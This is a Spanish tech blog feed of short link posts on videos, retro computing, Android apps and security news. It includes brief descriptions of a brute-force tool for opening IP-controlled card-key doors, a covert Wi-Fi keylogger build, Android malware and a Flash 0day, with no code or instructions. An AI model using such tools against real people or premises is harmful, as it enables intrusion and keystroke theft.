
Canal de Air New Zealand (con Snoop Dogg)

Link

El reflejo perfecto

[youtube width=“520” height=“390”]http://www.youtube.com/watch?v=wARB2COiwZc[/youtube]

¿Derecho o revés?

Link

Ingeniería inversa con Python

En  http://www.pythonprogramming.info recogen una serie de entradas sobre el uso de Python aplicado a la ingeniería inversa.

Las entradas tienen muy buena pinta. En estos momentos tienen publicado:

1. Building a Driver Fuzzer
2. Fuzzing and the Sulley Web Interface
3. Discovering Device Names
4. Network and Process Monitoring
5. I N D Ex
6. Soft Hooking with PyDbg
7. Determining Supported IOCTL Codes
8. Immunity Debugger
9. Driver Fuzzing with Immunity Debugger
10. Fuzzing Windows Drivers

Este es el enlace original.

Comparando todas las versiones de IE

Andrew Tait lo ha vuelto a hacer. Cybercaronte publicó un vídeo dónde dicho individuo había instalado Windows 7 desde MSDOS.

Ahora lo que ha hecho es un vídeo donde instala y compara todas las versiones de Internet Explorer, desde la 1 a la recién salida versión 9.

Aquí os dejo el vídeo:

Fuente

Vitaly Bulgarov

 

El modelado orgánico es la rama de CG más compleja que existe ya que simular una forma biológicamente “correcta” o anatómicamente “creíble” comporta una serie de conocimientos previos que debe tener el artista y que nada tienen que ver con el arte sino con la medicina. Un mech orgánico debe ser pensado de dentro hacia afuera, tal y como lo visualizaría un cirujano, antes de colocar la piel deben existir unos huesos sobre los que apoyarla y estos a su vez deben tener una forma natural y dinámica para que sea fácil pensar que ese ser ha sobrevivido a través de los años en su medio natural. Aunque todo esto parezca rocambolesco nuestro cerebro esta adaptado para ver estas similitudes en segundos; si algo de esto fallara, automáticamente lo veríamos como falso o artificial.

Fuentes de letras 8 bits y 16 bits de ordenadores …

 

Para descargar (pulsa en cada enlace) en formato TrueType de 8 bits de los siguientes ordenadores:

• Commodore PET
• Apple II
• Atari 400/800
• Acorn BBC Micro
• Sinclair ZX Spectrum
• Commodore 64
• Amstrad CPC
• MSX

Y esta otra lista con las fuentes de 16 bits:

• Apple Macintosh
• Commodore Amiga 1.x
• Commodore Amiga 2.x
• Atari ST
• IBM PC VGA

Visto en HowToGeek

Trabajando de forma remota con tu terminal Android

La comodidad de trabajar sin cables de por medio no tiene precio, por ello el poder trabajar de forma inalámbrica ha sido, desde mi punto de vista, uno de los mejores avances en tecnología en los últimos años. En esta entrada os quería hablar sobre una aplicación para Android llamada: adbWireless, que nos permite ni más ni menos que poder trabajar con nuestro terminal de forma inalámbrica, como si éste estuviera conectado por USB a nuestro sistema.

Cómo cambian los tiempos, anuncio Seat 850

Madre mía, lo que son las cosas …

Visto en un tweet de spectrumgomas, original de HalonDisparado.

Angry Birds, la película (lol)

[youtube]http://www.youtube.com/watch?v=2matH4B9bTo[/youtube]

Tal y como sería si la hubiera dirigido el mismísimo Michael Bay.

Visto en VidaExtra.

Canción de un domingo triste por la mañana, Rhian …

[youtube]http://www.youtube.com/watch?v=6s5yvlckSlU[/youtube]

Un abrazo y mucho ánimo para mis amigos y hermanos, Dany, Willy y Jorge.

 

Ha vuelto El Geek Errante, transmisión #43, por …

 

Una gran alegría para todos, El Geek Errante ha vuelto con su episodio número 43.

Ya puedes descargarte el podcast desde este enlace.

Gracias chicos, os echábamos de menos ;)

NetWrix Infraestructure Change Reporter, …

Windows

Network Infraestructure Change Reporter es una herramienta gratuita que te permite auditar y descubrir cambios que se realicen en tu red local. Escanéa rangos IP para encontrar dispositivos de red nuevos, informar de otros que se han retirado (o están apagados) y lo más importante, es capaz de detectar cambios en la configuración de dichos dispositivos como parámetros, tablas de enrutamiento, permisos, reglas de firewall y cualquier información que pueda transimitr el protocolo SNMP y ficheros MIB del dispositivo.

A little bit world ...

[youtube]http://www.youtube.com/watch?v=QRfPo-MKuPA[/youtube]

 

Fantástico.

Visto en 8bits.

Ojo Google, Facebook parece que también hará …

Está rondando por varias webs una imágen que parece parte de una beta (foto del post), donde aparece un nueva ventana que está dando mucho de qué hablar. En esa ventana aparece la opción “search”, pero Facebook ha dicho que esa imágen es un fake y han desmentido que estén trabajando en ello (la opción de buscar que lleva actualmente es limitada y está casi exclusivamente orientada a la búsquedas de personas, no de texto).

La Hora Del Planeta (2011)

[youtube width=“520” height=“390”]http://www.youtube.com/watch?v=4Mxjbip6y04&feature=player_embedded[/youtube]

_Día 26 Marzo [20:30 - 21:30]_

MOVIMIENTO: 1.- Acción y efecto de mover. 2.- Alteración, inquietud o conmoción. 3.- Alzamiento, rebelión. 4.- Primera manifestación de un afecto, pasión o sentimiento. 5.- Conjunto de alteraciones o novedades ocurridas, durante un período de tiempo, en algunos campos de la actividad humana.

El año pasado participaron 128 países, 4616 ciudades apagaron sus monumentos y 1.300 millones de personas encendieron velas en vez de bombillas, todo para alumbrar una única esperanza: nuestra Tierra.

Dentro del negocio del malware (infografía)

(Click para ver la infografía a tamaño completo)

Genial infografía donde nos muestran el funcionamiento interno del negocio del malware, spam y botnets.

Visto en ComputerSchool.

Episodio V

 

Bonito poster de la mejor película de La Saga …

Visto en HTCARU

Android "Overclockeado" lol

[youtube]http://www.youtube.com/watch?v=rTUwqxHpXMY[/youtube]

Vaya marcha que lleva este Android, me gustaría saber que tipo de “overclocking” le han hecho XD

Visto en NeatOrama.

Recortables de Angry Birds

 

Puedes descargarlos desde aquí para construirte tus propios Angry Birds de Papel.

Visto en Little Plastic Man y 8Bits.

Otra Cheat Sheet (chuleta) para Photoshop CS5

 

Ya teníamos en nuestra colección una cheat sheet para Photoshop de atajos de teclado. Pero desde HowToGeek nos ofrecen otra mucho más completa que podéis descargar desde aquí en PDF.

Una más para nuestra colección.

AutomateIt, herramienta para automatizar tareas en …

Esta herramienta llamada AutomateIt para automatizar tareas en Android tiene cuatro controles básicos: un activador, una acción, opcionalmente un retardo y una descripción de texto. Los disparadores son cosas como una conexión Bluetooth, conectar el cargador, un nivel de la batería, una localización, etc. Las acciones a realizar pueden ser notificaciones, vibraciones, lanzar una aplicación, cambios de volúmen y otras cosas. Por ejemplo la puedes usar para ahorrar batería, cambiar la configuración para cuando estés en el coche, o cualquier cosa que se te ocurra.

Ayuda a Japón

Todos hemos visto últimamente las televisiones llenas de imágenes del terrible desastre que ha ocurrido en Japón.

Durante horas y horas se nos ha bombardeado con imágenes impactantes de las terribles consecuencias de la furia de la naturaleza y de los enormes esfuerzos por evitar una catástrofe mayor en Fukushima.

Pero lo que no he podido ver en ninguno de esos programas es ni la más mínima información acerca de cómo es posible ayudar, al menos no en mi país (España), y me siento profundamente avergonzado de ello.

50 años de exploración espacial (infografía)

 

Magnifica infografía donde podemos ver las más de 200 misiones espaciales que la Humanidad lleva realizadas. Incluye viajes a la Luna, el Sol, asteroides y los planetas del Sistema Solar y sus satélites. Incluso podemos ver a nuestras queridas Voyager.

Visita este enlace para verla en tamaño completo.

Mario en primera persona

[youtube]http://www.youtube.com/watch?v=KBb9wFP7uZM&feature=player_embedded[/youtube]

Visto en 8Bits.

 

 

Domingo por la mañana, no queremos más guerras "I …

[youtube]http://www.youtube.com/watch?v=M9ePdHLK3Uw[/youtube]

No más guerras por favor …

Sleepmakeswaves

Microhistorias: el primer juego para IBM PC, Bill …

Otra de esas Microhistorias en las que Microsoft y Apple se cruzan y que tanto os gustan (sobre todo a nuestros amigos de Seguridad Apple)  ;)

Vayamos  a 1981, fecha en la que salió al mercado el IBM PC original el cual llevaba el sistema operativo PC-DOS (el PC-DOS era un MS-DOS puro y duro, sólo que cuando se vendía junto a un PC de IBM se le llamaba así, PC-DOS, si se vendía por separado se llamaba MS-DOS) creado por Microsoft. Para probar las “maravillas” en gráficos y sonido de la criatura, el PC-DOS incluía (entre otras aplicaciones) un juego escrito en BASIC llamado DONKEY.

Patrones de diseño de aplicaciones Android

Lo que se conoce como un patrón de diseño es una forma de resolver un problema ampliamente conocido.

La ventaja de usar patrones de diseño, es que si lo implementamos correctamente, nos aseguramos que va a funcionar y esto no es magia, sino que antes que tú muchos otros programadores se han enfrentado al mismo problema. Por lo tanto seguir dichos patrones suele ser beneficial. Nota: muchas veces vemos patrones donde no los hay!

Como explicarle a tu hijo el problema de la planta …

59 alternativas de seguridad de código abierto

En esta entrada hacen una interesante lista de un total de 59 herramientas de seguridad que podríamos usar para reemplazar su homólogo privativo.

La lista está agrupada en grupos:

1. Anti-Spam
2. Anti-Virus/Anti-Malware
3. Anti-Spyware
4. Application Firewall
5. Backup
6. Browser Add-Ons
7. Data Removal
8. Data Loss Prevention
9. Encryption
10. Secure File Transfer
11. Forensics
12. Gateway/Unified Threat Management Appliances
13. Intrusion Detection
14. Network Firewall
15. Network Monitoring
16. Password Crackers
17. Password Management
18. User Authentication
19. Web Filtering

Visita la entrada original para ver cuales son las opciones que nos ofrecen.

Er docu der finde: Inside Google

Fotos del antes y el después del terremoto y el …

En el New York Times tienen una entrada donde podemos ver fotos hechas por satélite del antes y el después de la catástrofe ocurrida en Japón.

Las fotos están superpuestas y puedes arrastrar la barra central hacia un lado o el otro para ver como era la zona devastada y como es hoy en día.

Las fotos son impresionantes y muestra los vulnerables e indefensos que estamos ante la naturaleza.

Caribou, abriendo puertas con llaves de tarjeta …

Hay sistemas de llaves de tarjetas instalados en puertas, como las los hoteles, que no sólo nos permita la entrada deslizando la tarjeta por el lector, sino usando otras tecnologías inalámbricas.

En el caso que nos concierna, el sistema usado en el vídeo de demostración ofrece una interfaz IP.

Caribou es una aplicación, que dada una IP y un puerto, usando un algoritmo por fuerza bruta es capaz de abrir las puertas dónde se encuentran instalados estos sistemas de llave por tarjeta.

RSA SecurID, ¿comprometido?

Parece que RSA, subsidaria de EMC ha sufrido una intrusión en sus sistemas. El acontecimiento está bajo investigación en estos momentos y por lo tanto no se ha hecho pública mucha información.

Por ahora se especula que se hayan podido robar los códigos de que usan sus productos SecurID. Éstos son, ver foto, unos dispositivos que generan números de 6 cifras aleatorios cada 60 segundos. Bueno, al menos los que yo uso, que uso dos por cierto.

Infografía: Historia del virus informático

Visto aquí

Orkut, la red social de Google

Desde 2004 Google tiene su propia Red Social al más estilo Facebook pero con mucho menos impacto en la sociedad que la empresa de Zuckerberg. La mayoría de usuarios son de Brasil e India, y fue creada por Orkut Büyükkokten.

La interface es bastante parecida a la de Facebook y puedes integrar a todos tus contactos de Gmail.

Y no es Buzz, que ya vimos como intentaron activarlo en todos los perfiles de Gmail pero no les salió bien la jugada (se lió parda).

Antiguos videojuegos con modernos efectos de …

[youtube width=“520” height=“390”]http://www.youtube.com/watch?v=qukCulDOJzg&feature=player_embedded[/youtube]

Para mi gusto, el sonido que está más conseguido es del Asteroids. :-)

Link

Metallica "Master of Puppets", en 8 bit

[youtube]http://www.youtube.com/watch?v=F7jEWYU3oeM[/youtube]

Visto en la genial 8bits.

Spidey Crack

 

Visto en HTCARU.

Cómo crear Pixel Art con Photoshop ó Gimp

 

Si quieres crear por ejemplo un avatar al estilo 8bits retro para un foro ó incluso para algún juego, en HowToGeek nos explican cómo hacerlo usando Photoshop ó Gimp.

Aquí tienes el tutorial completo.

Geiger Counter Tokyo

Live TV : UstreamParece que, teniendo en cuenta la escala, por debajo de 60 cpm los efectos no serían graves. Aunque no se muy bien que quiere decir eso.

Chuleta (cheat sheet) multilenguaje en tu Android

Sin duda ésta es una de esas aplicaciones Android que puede llegar a ser una “navaja suiza” y sacarnos de un apuro en un momento determinado.

Se llama DevCheats y te permite consultar chuletas offline de PHP, Python, JQuery, HTML5, C++ entre muchos otros, listado que se va ampliando contínuamente.

Puedes verlo aquí.

Emulador por hardware para juegos, consolas y …

 

Se llama FPGA Arcade Replay y se puede configurar para emular videojuegos clásicos (y consolas como Colecovision, Odyssey 2 etc) además del hardware de ordenadores como Atari ST y Amiga.

De momento se han probado que funcionan todos los juegos que tienen en su site FPGA Arcade así como emulación del core de un Atari ST y otro para Amiga (MiniMig) pero en breve estarán disponibles otras emulaciones como BBC Micro, Commodore 64 y otros.

Imágenes diarias de Google Chrome OS

Si quieres probar el sistema operativo de Google, Chrome OS, ahora lo tienes más fácil que nunca. Desde la web de Hexxeh, ahor te puedes descargar la versión más reciente del mismo en 3 imágenes distintas: USB, VirtualBox y VMWare.

Las imágenes son creadas a diario. A las 6pm GMT la última versión del código fuente es descargado y compilado. Generando así una imagen en cada uno de los formatos antes mencionados.

0day en Adobe flash player, Reader y Acrobat

Adobe ha anunciado la existencia de una vulnerabilidad crítica en sus productos:

1. Adobe Flash Player 10.2.152.33 y versiones anteriores para Windows, Macintosh, Linux y Solaris.
2. Adobe Flash Player 10.2.154.18 y anteriores para usuarios de Chrome
3. Adobe Flash Player 10.1.106.16 y anteriores para Android
4. La librería Authplay.dll que se incluye con Adobe Reader y Acrobat X (10.0.1) y anteriores 10.x y 9.x para Windows y Macintosh.

Dicha vulnerabilidad puede causar el cuelgue en la aplicación o incluso la toma del control del sistema afectado. Por lo visto hay indicios de que esta vulnerabilidad está siendo activamente explotada a través de ficheros flash embebidos en hojas de cálculo Microsoft Excel como un adjunto en emails.

En estos momentos está trabajando en el parche que corrija esta falla. Mientras tanto ojito!!

Facebook Hacker Cup

La Facebook Hacker Cup es una competición para programadores cuyo objetivo es el de resolver problemas de programación obviamente.

Esta competición dió comienzo el pasado mes de Enero. Dicha competición con unos 12.000 desarrolladores repartidos por todo el planeta. Sólo 25 de estos llegarían a la final. Dicha final se celebró el pasado 12 de Marzo en las instalaciones de Facebook en Palo Alto, California.

La final constaba en resolver 3 problemas en 2 horas. Una vez los programas eran entregados, a estos se la pasaban un fichero de entrada con una serie de datos y ganaría aquel que diera más respuestas correctas y en caso de empate, se medirían los tiempos de ejecución de los algoritmos.

Happy Pi day

Hoy en los países donde escriben la fecha de la forma mes/dia, se podría celebrar el día de Pi, ya que hoy sería 3/14 (3.14). Para ser más exactos incluso podríamos celebrarlo en un minuto en concreto: 3/14 1:59 o incluso podemos irnos a los segundos: 3/14 1:59:26, etc.

Este es la valor de Pi: 3.14159265358979323846264338327950288419716939937510… así que le puedes echar imaginación.

En España lo podríamos celebrar el 31/4 … buffer overflow @#$#@$%!! :-)

Trailer de "Todo en un día" (Ferris Bueller's day …

[youtube]http://www.youtube.com/watch?v=MAe5P_xYoKg[/youtube]

Genial montaje en formato trailer de nuestra querida película “Todo en día” pero visto de otra manera, un poco más íntimo y con cierto gusto indie. Es increible cómo puede llegar a cambiar una película por el diseño de un trailer.

Por cierto, la música fantástica, ‘A Slight Return Home’ de Woodpigeon

Fantástico.

Visto en TheAwesomer.

La historia de la ciencia-ficción

Visto en: http://www.wardshelley.com/

Primer volúmen impreso de Dungeons & Dragons …

 

Si eres un fan incondicional de Dungeons & Dragons seguro que te gustaría tener este volúmen que es uno de los únicos 1000 que se fabricaron inicialmente. Digo fabricaron porque es una caja que se construyó personalmente por Gary Gygax y sus amigos. No es ni siquiera una primera edición, es anterior y además se encuentra en muy buenas condiciones.

Pues ya se ha vendido en eBay por 3.008 dólares.

Domingo por la mañana, Fishboy "Aaron the …

 

Pedazo de disco han sacado los chicos de Fishboy, llamado “Classic Creeps”.Este es el ejemplo de cómo hay que afrontar las nuevas tecnologías y dejarnos de tonterías con leyes sinde (las minúsculas son apropósito).

Pulsa en el enlace de abajo para abrir tu reproductor de música y escuchar la primera canción del álbum:

Preparación: sube el volúmen y tienes escucharla entera, son 2 minutos de canción espectacular

Escucha "Aaron the afterthought astronaut" 

... dime ahora si no te entran ganas de volver a ir de marcha este domingo ...

Ojo a la maniobra, Fishboy saca el disco completo por 8 dólares (menos de 1 dólar por canción, tiene 10), pero antes te dejan escucharlo entero en su página web y comprar las canciones individuales que quieras por 0,8 dólares.

Microhistorias: el primer "tablet" con …

 

 

Siempre había pensado que el primer “tablet” (lo pongo entre comillas porque antes no se usaba este término) ó dispositivo táctil con reconocimiento de escritura fue el Newton de Apple, pero parece ser que no. El Apple Newton salió al mercado en 1993 pero en 1987 ya existía el Linus Write-Top ó TRW Write-Top.

Ahora que es la fiebre de los tablets con el nuevo iPad 2 y la avalancha de Android’s vamos a hablar un poco del abuelo de todos ellos.

El terremoto de Japón altera el eje y la velocidad …

 

Según la NASA y otros institutos de Geofísica alrededor del mundo, el eje de rotación de nuestro planeta se ha inclinado 25 centímetros y la velocidad de rotación se ha reducido unos 1,6 microsegundos.

Desde aquí todo nuestro ánimo a nuestros amigos y amigas japoneses en este duro momento.

Visto aquí y aquí. También lo ví en un tweet de Kirai.

Actualización: parece que en Microsiervos han encontrado motivos para no creer del todo estas afirmaciones, puedes verlo aquí.

Unreal Engine 3: Samaritan Demo (espectacular) y …

[youtube]http://www.youtube.com/watch?v=JuDNTFpshZg[/youtube]

El motor gráfico Unreal Engine 3 se aunció hace unos días en el GDC 2011 por Epic Games. 

Esta tecnología ya se usó en juegos como Gears of War ó Bioshock y viendo estos gráficos, la mejora es bastante espectacular.

Puedes descargar el SDK Beta de Marzo desde este enlace por si quieres hacer algunos pinitos en esto de los juegos en 3D. Si eres nuevo en usar esta tecnología, puedes empezar aquí y luego echar un vistazo a toda la documentación oficial aquí.

Una estudiante vende por 900$ su sitio en la cola …

[youtube]http://www.youtube.com/watch?v=hIZtBMUVT1g[/youtube]

Pues eso, el titular lo dice todo, Amanda Foote llevaba 41 horas la primera en la cola esperando para comprar el nuevo iPad2 en Nueva York y al final Hazem Sayed (un desarrollador de Apps para Apple) se la ha comprado por 900$.

No ha sido la única, otros que también estaban en la cola han sacado algún beneficio vendiendo su posición en la misma.

El iPad 2 se podrá comprar hoy en EEUU a partir de la 5:00 pm (hora USA).

Er docu der finde: Rodeados de ondas

Android Market Security Tool, trojanized version

A raíz del último troyano que apareció para Android y del que hablamos aquí, Google sacó una herramient llamada: “Android Market Security Tool”. El propósito de la misma era el poder deshacer los cambios creado por el troyano anteriormente mencionado. De hecho esta herramienta ni siquiera tenías que instalártela tú, sino que se instalaba como una actualización del Android Market en aquellos terminales infectados.

La cosa que es que se ha detectado una versión troyanizada de la misma. Ésta se ha encontrado en los mercados de aplicaciones chinos. La versión troyanizada no es más que la herramienta original de Google re-empaquetada con código malicioso, capaz de enviar SMS usando técnicas de C&C (command and control) a través de:

Tutorial para fabricar un WiFi keylogger por …

 

Este keylogger se coloca en un puerto PS2 y envía toda la información que vaya capturando del teclado a otro equipo que puede estar situado hasta 18 metros (a esta distancia es segura la recepción, pero puede funcionar hasta 30 metros) tiempo real. Pedazo de herramienta para el “road warrior” de la seguridad informática.

Como ya hemos dicho, consta de dos bloques fundamentales: el emisor y el receptor. El emisor se instala en el puerto PS2 y lleva incorporado un transmisor inalámbrico de 2,4GHz. Podemos capturar todas las pulsaciones de teclas y transmitirlas en tiempo real vía radio al receptor. Dicho receptor es otro módulo inalámbrico con interface USB que vuelca los datos desde un puerto COM virtual (por lo tanto podemos visualizar la información con cualquier terminal).

Darth Vader versus Aliens

 

Visto en HTCRU.

Corriendo Ubuntu en el Motorola Xoom

Motorola Xoom es quizás a día de hoy el competidor más robusto del iPad de Apple. Esta nueva tableta es muy atractiva y corre Android 3.0 (Honeycumb) y un procesador Dual Core a 1Ghz, una pantalla de 10,1" HD y cámara frontal y trasera, entre otras características.

Viendo la potencia que nos ofrece este dispositivo, podría correr un sistema operativo más potente.

En este enlace nos dan todos los pasos necesarios a seguir para instalar Ubuntu (ARM) en una de estas tabletas.

Visualizando un ataque VoIP

En este vídeo podemos ver de una forma visual como se lleva a cabo un ataque VoIP. En el vídeo nos van explicando que va ocurriendo y el significado de los círculos, etc.

Visualizing a cyber attack on a VOIP server from Ben Reardon, Dataviz Australia on Vimeo.

En este segundo vídeo lo que podemos ver es simplemente el tráfico HTTP de una web personal. Los círculos de la izquierda representan los accesos a la web (sacados del log de acceso de Apache). Los círculos pequeños representan peticiones pequeñas y los más grandes, peticiones más grandes. El color indica la procedencia. Y en la parte derecha representa una petición o acceso del referente (referrer). Los números están calculados en base a la media de peticiones por minuto de los últimos 10 minutos.

Así suena el número Pi

[youtube]http://www.youtube.com/watch?v=wK7tq7L0N8E[/youtube]

Si en la escala musical DO=1, RE=2,  y así sucesivamente hasta SI=7 y DO=8 (luego otro DO=1 y repetimos la serie), también asociando los acordes de una manera similar, pues Pi con 31 decimales suena tal y como se muestra en el video.

Además se interpreta a 157 bpm que sale de dividir 314/2.

 Creo que se sería interesante experimentar también con otros números, no os perdáis la música, es genial.

Captchas para los más listos de la clase

Muy curioso este artículo del LA Times, donde la gente de Ruđer Bošković Institute (Croacia) hace uso de las matemáticas para asegurarse que el registro en su servicio Quantum Random Bit Generator es hecho por una persona y no una máquina, robot, etc. Lo que conocemos como Captcha.

Este el ejemplo que podemos ver en el artículo original:

O este es el que me salió a mi:

Infografía: Historia de los sistemas operativos

Visto en makeuseof.

Google APIs browser

Google cada vez se lo quiere poner más fácil a los programadores para que usen sus APIs y eso es de agradecer. Para ello han liberado una aplicación web que nos permite navegar por la API de varios de sus servicios. Este explorador de APIs, nos proporciona enlace a la documentación de la API y las funciones proporcionadas por dicho servicio, parámetros aceptados y un ejemplo de como sería la llamada a la función deseada, junto con un ejemplo también de la respuesta por el servidor. Muy sencillo y como dirían por aquí: very handy.

Full Circle, especial programación en Python

Para los que no conozcáis esta revista, Full Circle es un ezine totalmente gratuito cuyos artículos se escriben en torno a Ubuntu.

En ella podemos encontrar curso de programación en Python, que se va extendiendo con cada nueva publicación, pero en este último número han hecho una excepción y lo que han publicado es un especial con las 8 primeras partes de dicho curso.

Puedes descargar el PDF desde aquí.

Crea tu propio tema para Chrome desde el propio …

Google está poniendo mucho empeño y esfuerzo en su navegador Chrome y como consecuencia, éste está cada vez más presente en el día a día de muchos ususarios, incluido mi, que aunque no es mi navegador primario, lo suelo usar cada vez más.

Si Chrome es tu navegador primario, o simplemente lo tienes instalado en tu sistema y quieres darle un toque personal al mismo, puedes probar esta herramienta online llamada Chrome Theme Maker, con la que puedes crear tu propio tema.

Caca nene, eso no se toca, posible precuela y …

 

¡Nooooooooooooooooooooooo!

Nos lo temíamos y el momento parece que ha llegado. Después de ir cargándose obra de arte tras obra de arte, le toca el turno a Blade Runner, la mejor película de Ciencia Ficción de todos los tiempos.  Pero lo peor es que no es una película, sino varias e incluso series de televisión … snif!

Por mucho que digan los productores de Alcon Entertainment prometiendo que harán justicia al orginal, perdón por la expresión, pero al carajo Blade Runner …

Helsingfors "Truncation Error" canción con título …

[youtube]http://www.youtube.com/watch?v=tze6D4Tmg9A[/youtube]

Helsingfors “Truncation Error”, genial título para una buena canción.

Explicación matemática de los errores de truncamiento.

Las espadas de The Legend of Zelda (Infografía)

(Haz click para verlo al máximo de resolución)

Visto en IT8BIT

ET II "Extincion" trailer (pedazo de fake pero …

[youtube]http://www.youtube.com/watch?v=fMW3W-G43gI[/youtube]

Han pasado muchos años desde que nuestro querido ET nos visitara. Ahora volverá a la Tierra, pero esta vez para avisarnos …

Increible montaje, aparecen muchos personajes de la película original, esta vez más creciditos.

Visto en GeeksAreSexy

Construyendo un robot hexápodo autónomo y …

[youtube]http://www.youtube.com/watch?v=cqI-sDJTyuo[/youtube]

Este proyecto que hemos visto en HackADay consta de dos partes, la primera es la construcción de un robot simple hexápodo por menos de 50€ con sensores de proximidad que además utiliza un Pololu Micro Maestro (aquí manual completo) como cerebro que puede controlar hasta 6 servos y se puede programar con scripts. Nos parece un proyecto interesante de bajo coste para adentrarte en la robótica.

Aquí tienes acceso a la tienda Pololu (hacen envíos internacionales)

Er docu der finde: El experimento de los 6000 …

La serie de animación de Tron "Uprising" y de paso …

[youtube]http://www.youtube.com/watch?v=THcItXSnngA[/youtube]

Aún estoy asimilando si me gustó o no Tron Legacy y ahora Disney nos sorprende con esta serie de animación basada en acontecimientos que sucedieron antes de Legacy. Después de leer la trama, me he dado cuenta que es exactamente igual que Tron.

Y un comentario, en el doblaje se habla de “La Red” cuando realmente es “La Rejilla”, doblaje que hicieron perfectamente en la primera Tron. ¿Por qué esa manía de manipular todo pensando que esa forma se acercan a todos los públicos?. Es una cagada monumental, de hecho en la película se habla de salir a la “La Red”, que suponemos es Internet.

Conectando joysticks a otros dispositivos

 

(C) Roger Ibars

Si te gustó este, no dudes en visitar la web del autor (Roger Ibars) para ver más ejemplos de joysticks conectados a otros aparatos.

Hard-Wired Devices

Actualizando un ordenador desde MSDOS a Windows 7 …

[youtube]http://www.youtube.com/watch?v=vPnehDhGa14[/youtube]

Mira lo que ocurre cuando intentas actualizar desde MSDOS hasta Windows 7 un ordenador (toda la cadena completa). Este experimento es posible usando VMWare (más una máquina virtual) y grabando todo el proceso.

Realmente curioso.

Visto en HowToGeek.

"A dance with dragons", de George R.R. Martin para …

 

Por fin, gracias, ya no podía esperar más, la quinta entrega de Canción de Hielo y Fuego, para julio de este año, se llamará “A Dance With Dragons”. Aún quedan dos libros más para finalizar una de las mejores sagas de fantasía épica de todos los tiempos.

Te aconsejo, otra vez, si no los has leido, que leas Juego de Tronos, la serie empieza en breve.

Warhammer 40.000, un podcast para adentrarte en su …

 

 

Y ese podcast no podía ser otro que el fantástico "La Biblioteca de Trantor". Si eres como yo, que hemos tocado casi todos los juegos de rol de scifi y  fantasía pero nunca te atreviste con Warhammer 40.000, aquí tienes dos horas y media de podcast en castellano donde nos explican todo el universo que rodea a esta fantástica saga de rol, fantasía y wargame.

El malware para Android evoluciona... y de que …

Ayer publicaba en Twitter una noticia que hablaba sobre que Google había quitado del mercado de aplicaciones 21 de éstas por temas de malware. Hasta aquí nada nuevo bajo el sol, en Cyberhades hemos hablado algunas veces sobre esto.

La novedad esta vez, es que dichas aplicaciones preparadas para robar información de tu terminal, venían cargada con el famoso rageagainstthecage, un exploit para ganar acceso root en el sistema.

EMCO Remote Registry Exporter (gratuito), exporta …

Windows

Curiosa y a la vez poderosa herramienta gratuita de EMCO llamada Remote Regisrty Exporter. Todos los administradores de sistemas Windows sabemos que el corazón del sistema operativo es el Registro de Windows.  Todos conocemos muchas claves que usamos para hacer desde cambios visuales hasta modificar el comportamiento de aplicaciones concretas de terceros. Poder acceder a estas claves de registro nos permite por ejemplo, cambiar todo tipo de parámetros del sistema operativo o incluso comprobar fallos de seguridad.

Recopilación de fails Febrero 2011

Pues eso, una recopilación de los últimos videos con caidas, tropiezos, accidentes, etc… lo justo para desconectar un rato.

Visto en TheAwesomer.

Fotografiando la señal WiFi

Un grupo de investigadores en Oslo se han dedicado a hacer un vídeo en el cual han grabado de forma visual la potencia de las redes WiFi por uno de los vecindarios de esta ciudad.

Para ello, crearon un medidor de señal WiFi con una barra de madera de 4 metros, una antena WiFi y unas luces. Y usando técnicas de fotografía de larga exposición, han conseguido algo como lo que podéis ver en el vídeo:

Bookmarks para pentesters

Muchos de vosotros ya conoceréis la mayoría de los enlaces que se recogen en este proyecto llamado pentest-bookmarks.

Dicho proyecto recoge de una forma muy ordenada gran cantidad de enlaces a blogs, herramientas, foros, etc relacionados con el mundo de la seguridad informática.

Sólo tienes que descargar e importar este fichero en tu navegador favorito y listo. Como podéis ver desde aquí, la lista es bastante amplia.

Y por supuesto no te olvides de añadir a dicha lista el que actualmente es el mejor blog de seguridad en Español: SecurityByDefatult y el de josemaricariño o Seguridad Apple entre otros. Lo mismo los responsables de dichos blogs quieren mandar sus enlaces a este proyecto para ser incluidos, no sé si aceptarán blogs que no estén escritos en Inglés.

Hakin9: ID Theft

Ya tenemos nuevo número de la Hakin9, titulada: ID Theft.

El índice es el siguiente:

1. Identity Proof Your Personal Data by Julian Evans
2. Guarding Against Identity Theft by Gary Miliefsky
3. The Best Way to Learn and Apply Cryptography by Arkadius C. Litwinczuk
4. Analysis of a Scam by Rich Hoggan
5. Secure Env for PT by Antonio Merola
6. Knowing VoIP – part III by Winston Santos
7. Bluetooth Mice Can Leak Your Passwords! by Aniket Pingley, Xian Pan, Nan Zhang, Xinwen Fu
8. Choosing an IDS/IPS Engine by Matthew Jonkman

La podéis descargar desde aquí.

Nintendo 3DS, hackeada en 24 horas

Apenas 24 horas más tarde de que saliese a la venta la Nintendo 3DS (la consola más segura hasta la fecha según sus fabricantes), que como no, está resultando un éxito de ventas en Japón, ya la han hackeado.

Si bien se trata de un hacking parcial, el cartucho CyCloDS iEvolution permite la carga de juegos  de Nintendo DS en la nueva consola sin tener que modificarla. El equipo de R4 también ha conseguido superar las medidas de seguridad de la consola.

Foca 2.6, disponible

Nuestra amiga la FOCA se ha actualizado, ya tenemos disponible la nueva versión 2.6 que puedes descargar desde la web de Informatica64.

El maligno Chema Alonso ha ido enumerando todas las novedades de esta versión que puedes ver aquí.

Si no la conoces, sólo decirte que es una herramienta imprescindible de seguridad, no dudes en descargarla y probarla, más que temerla llegarás a quererla ;)

Recuerda que la tienes la FOCA online o para descargar.

Apollo 18, trailer que promete ...

 

Película rodada al más estilo La Bruja de Blair donde se cuenta la historia del final del programa Apolo con una última misión (Apollo 18) donde sucedieron algunas cosas extrañas y se ocultó, hasta ahora …

Promete.

Visto en TheAwesomer.

... ay que resaca, domingo por la mañana The …

 

Dedicada a todos los que estuvimos ayer en la Fiesta de Andalucía en Valencia … ay …

Mother Mother

Cómo Star Wars cambió el mundo ...

 

Infografía espectacular donde se muestra la gran influencia que la película Star Wars (La Guerra de las Galaxias) que ha cambiado el mundo de la Ciencia Ficción y la Fantasía (y otros campos). En ella verás cómo la mayoría de desarrolladores, diseñadores, grafistas, directores, etc … se van desgranando en otros campos donde se generan otras obras de arte como Indiana Jones, Pixar, Alien, etc. 

Prácticamente todo el cine de culto de Ciencia Ficción que conoces está vinculado de alguna manera a Star Wars.

Emulador de Game Boy escrito en Javascript: …

Y una entrega más de este impresionante tutorial que nos explica como escribir un emulador de Game Boy en Javascript.

En ésta, su autor nos habla de los temporizadores o Timers.

Aquí tenéis las entradas anteriores:

La CPU La Memoria La GPU Gráficos Integración Entrada de datos Sprites Interrupciones Bancos de memoria

Er docu der finde: Virus, el origen

No trata del virus informático, sino del humano.

Historia de los ordenadores

